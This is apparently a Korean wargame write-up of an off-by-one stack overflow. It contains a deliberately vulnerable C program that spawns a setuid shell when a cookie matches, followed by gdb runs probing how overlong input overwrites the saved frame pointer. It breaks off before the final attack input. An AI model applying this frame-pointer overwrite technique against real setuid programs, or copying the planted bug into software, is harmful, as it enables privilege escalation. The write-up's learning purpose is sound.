#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
// Contributed by Torch
int limit, c;
int getebp() { __asm__("movl %ebp, %eax"); }
void f(char *s)
{
int *i;
char buf[256];
i = (int *)getebp();
limit = *i - (int)buf + 1;
for (c = 0; c < limit && s[c] != '\0'; c++)
buf[c] = s[c];
}
int main(int argc, char **argv)
{
int cookie = 1000;
if (argc != 2) exit(1);
f(argv[1]);
if ( cookie == 0xdefaced ) {
setresuid(geteuid(), geteuid(), geteuid());
execlp("/bin/sh", "/bin/sh", "-i", NULL);
}
return 0;
}
f 함수를 호출하기전과 호출하고 난뒤에 각각 브레이크 포인트를 걸었습니다.
(gdb) b *main+63
Breakpoint 1 at 0x80484b1
(gdb) b *main+68
Breakpoint 2 at 0x80484b6
(gdb) r `perl -e 'print "A"x256'` 버퍼 사이즈인 256개부터 시작했습니다.
esp 0xbfffdc00 0xbfffdc00
ebp 0xbfffdc38 0xbfffdc38
esp 0xbfffdc00 0xbfffdc00
ebp 0xbfffdc38 0xbfffdc38
(gdb) r `perl -e 'print "A"x257'`
esp 0xbfffdc00 0xbfffdc00
ebp 0xbfffdc38 0xbfffdc38
(gdb) r `perl -e 'print "A"x258'`
esp 0xbfffdc00 0xbfffdc00
ebp 0xbfffdc38 0xbfffdc38
(gdb) r `perl -e 'print "A"x259'`
esp 0xbfffdc00 0xbfffdc00
ebp 0xbfffdc38 0xbfffdc38
(gdb) r `perl -e 'print "A"x260'`
esp 0xbfffdc00 0xbfffdc00
ebp 0xbfffdc38 0xbfffdc38
esp 0xbfffdc00 0xbfffdc00
ebp 0xbfffdc38 0xbfffdc38
(gdb) r `perl -e 'print "A"x261'`
esp 0xbfffdc00 0xbfffdc00
ebp 0xbfffdc38 0xbfffdc38
esp 0xbfffdc00 0xbfffdc00
ebp 0xbfffdc41 0xbfffdc41 main 함수 ebp의 값이 바뀌었습니다.
(gdb) r `perl -e 'print "A"x262'`
esp 0xbfffdc00 0xbfffdc00
ebp 0xbfffdc38 0xbfffdc38
esp 0xbfffdc00 0xbfffdc00
ebp 0xbfffdc41 0xbfffdc41
(gdb) r `perl -e 'print "A"x263'`
esp 0xbfffdc00 0xbfffdc00
ebp 0xbfffdc38 0xbfffdc38
esp 0xbfffdc00 0xbfffdc00
ebp 0xbfffdc41 0xbfffdc41
(gdb) r `perl -e 'print "A"x264'`
esp 0xbfffdc00 0xbfffdc00
ebp 0xbfffdc38 0xbfffdc38
esp 0xbfffdc00 0xbfffdc00
ebp 0xbfffdc41 0xbfffdc41
(gdb) r `perl -e 'print "A"x265'`
esp 0xbfffdc00 0xbfffdc00
ebp 0xbfffdc38 0xbfffdc38
esp 0xbfffdc00 0xbfffdc00
ebp 0xbfffdc41 0xbfffdc41
(gdb) r `perl -e 'print "A"x266'`
esp 0xbfffdc00 0xbfffdc00
ebp 0xbfffdc38 0xbfffdc38
esp 0xbfffdc00 0xbfffdc00
ebp 0xbfffdc41 0xbfffdc41
(gdb) r `perl -e 'print "A"x267'`
esp 0xbfffdbf0 0xbfffdbf0
ebp 0xbfffdc28 0xbfffdc28 argv가 증가하면서 main 함수 ebp 값이 바뀌었습니다.
esp 0xbfffdbf0 0xbfffdbf0
ebp 0xbfffdc41 0xbfffdc41 f 함수 호출뒤에 ebp 의값은 0xbfffdc41 로 고정됩니다.
(gdb) r `perl -e 'print "A"x268'`
esp 0xbfffdbf0 0xbfffdbf0
ebp 0xbfffdc28 0xbfffdc28
esp 0xbfffdbf0 0xbfffdbf0
ebp 0xbfffdc41 0xbfffdc41
(gdb) r `perl -e 'print "A"x269'`
esp 0xbfffdbf0 0xbfffdbf0
ebp 0xbfffdc28 0xbfffdc28
esp 0xbfffdbf0 0xbfffdbf0
ebp 0xbfffdc41 0xbfffdc41
(gdb) r `perl -e 'print "A"x270'`
esp 0xbfffdbf0 0xbfffdbf0
ebp 0xbfffdc28 0xbfffdc28
esp 0xbfffdbf0 0xbfffdbf0
ebp 0xbfffdc41 0xbfffdc41
(gdb) r `perl -e 'print "A"x271'`
esp 0xbfffdbf0 0xbfffdbf0
ebp 0xbfffdc28 0xbfffdc28
esp 0xbfffdbf0 0xbfffdbf0
ebp 0xbfffdc41 0xbfffdc41
(gdb) r `perl -e 'print "A"x272'`
esp 0xbfffdbf0 0xbfffdbf0
ebp 0xbfffdc28 0xbfffdc28
esp 0xbfffdbf0 0xbfffdbf0
ebp 0xbfffdc41 0xbfffdc41
(gdb) r `perl -e 'print "A"x273'`
esp 0xbfffdbf0 0xbfffdbf0
ebp 0xbfffdc28 0xbfffdc28
esp 0xbfffdbf0 0xbfffdbf0
ebp 0xbfffdc41 0xbfffdc41
(gdb) r `perl -e 'print "A"x274'`
esp 0xbfffdbf0 0xbfffdbf0
ebp 0xbfffdc28 0xbfffdc28
esp 0xbfffdbf0 0xbfffdbf0
ebp 0xbfffdc41 0xbfffdc41
(gdb) r `perl -e 'print "A"x275'`
esp 0xbfffdbf0 0xbfffdbf0
ebp 0xbfffdc28 0xbfffdc28
esp 0xbfffdbf0 0xbfffdbf0
ebp 0xbfffdc41 0xbfffdc41
(gdb) r `perl -e 'print "A"x276'`
esp 0xbfffdbf0 0xbfffdbf0
ebp 0xbfffdc28 0xbfffdc28
esp 0xbfffdbf0 0xbfffdbf0
ebp 0xbfffdc41 0xbfffdc41
(gdb) r `perl -e 'print "A"x277'`
esp 0xbfffdbf0 0xbfffdbf0
ebp 0xbfffdc28 0xbfffdc28
esp 0xbfffdbf0 0xbfffdbf0
ebp 0xbfffdc41 0xbfffdc41
(gdb) r `perl -e 'print "A"x278'`
esp 0xbfffdbf0 0xbfffdbf0
ebp 0xbfffdc28 0xbfffdc28
esp 0xbfffdbf0 0xbfffdbf0
ebp 0xbfffdc41 0xbfffdc41
(gdb) r `perl -e 'print "A"x279'`
esp 0xbfffdbf0 0xbfffdbf0
ebp 0xbfffdc28 0xbfffdc28
esp 0xbfffdbf0 0xbfffdbf0
ebp 0xbfffdc41 0xbfffdc41
(gdb) r `perl -e 'print "A"x280'`
esp 0xbfffdbf0 0xbfffdbf0
ebp 0xbfffdc28 0xbfffdc28
esp 0xbfffdbf0 0xbfffdbf0
ebp 0xbfffdc41 0xbfffdc41
(gdb) r `perl -e 'print "A"x281'`
esp 0xbfffdbf0 0xbfffdbf0
ebp 0xbfffdc28 0xbfffdc28
esp 0xbfffdbf0 0xbfffdbf0
ebp 0xbfffdc41 0xbfffdc41
(gdb) r `perl -e 'print "A"x282'`
esp 0xbfffdbf0 0xbfffdbf0
ebp 0xbfffdc28 0xbfffdc28
esp 0xbfffdbf0 0xbfffdbf0
ebp 0xbfffdc41 0xbfffdc41
(gdb) r `perl -e 'print "A"x283'`
esp 0xbfffdbe0 0xbfffdbe0
ebp 0xbfffdc18 0xbfffdc18
esp 0xbfffdbe0 0xbfffdbe0
ebp 0xbfffdc41 0xbfffdc41
........
(gdb) r `perl -e 'print "A"x300'`
esp 0xbfffdbd0 0xbfffdbd0
ebp 0xbfffdc08 0xbfffdc08
esp 0xbfffdbd0 0xbfffdbd0
ebp 0xbfffdc41 0xbfffdc41
실패했습니다. 우리가 조작할수 있는 값은 ebp의 마지막 1바이트 뿐이기 때문에 여기서 약간의 조작이 필요합니다. 위에서 우리는 argv를 크게 주면 ebp의 값이 점점 감소 한다는 것을 알았습니다. 이를 이용해서 argv의 값을 늘려서 조작된 ebp의 값 -16이 cookie를 가르키도록 해봤습니다.
최종 공격 코드를 입력해봤습니다. (경로를 절대경로로 입력하면 gdb와 비슷하다는 말씀을 비누님이 해주셨습니다!)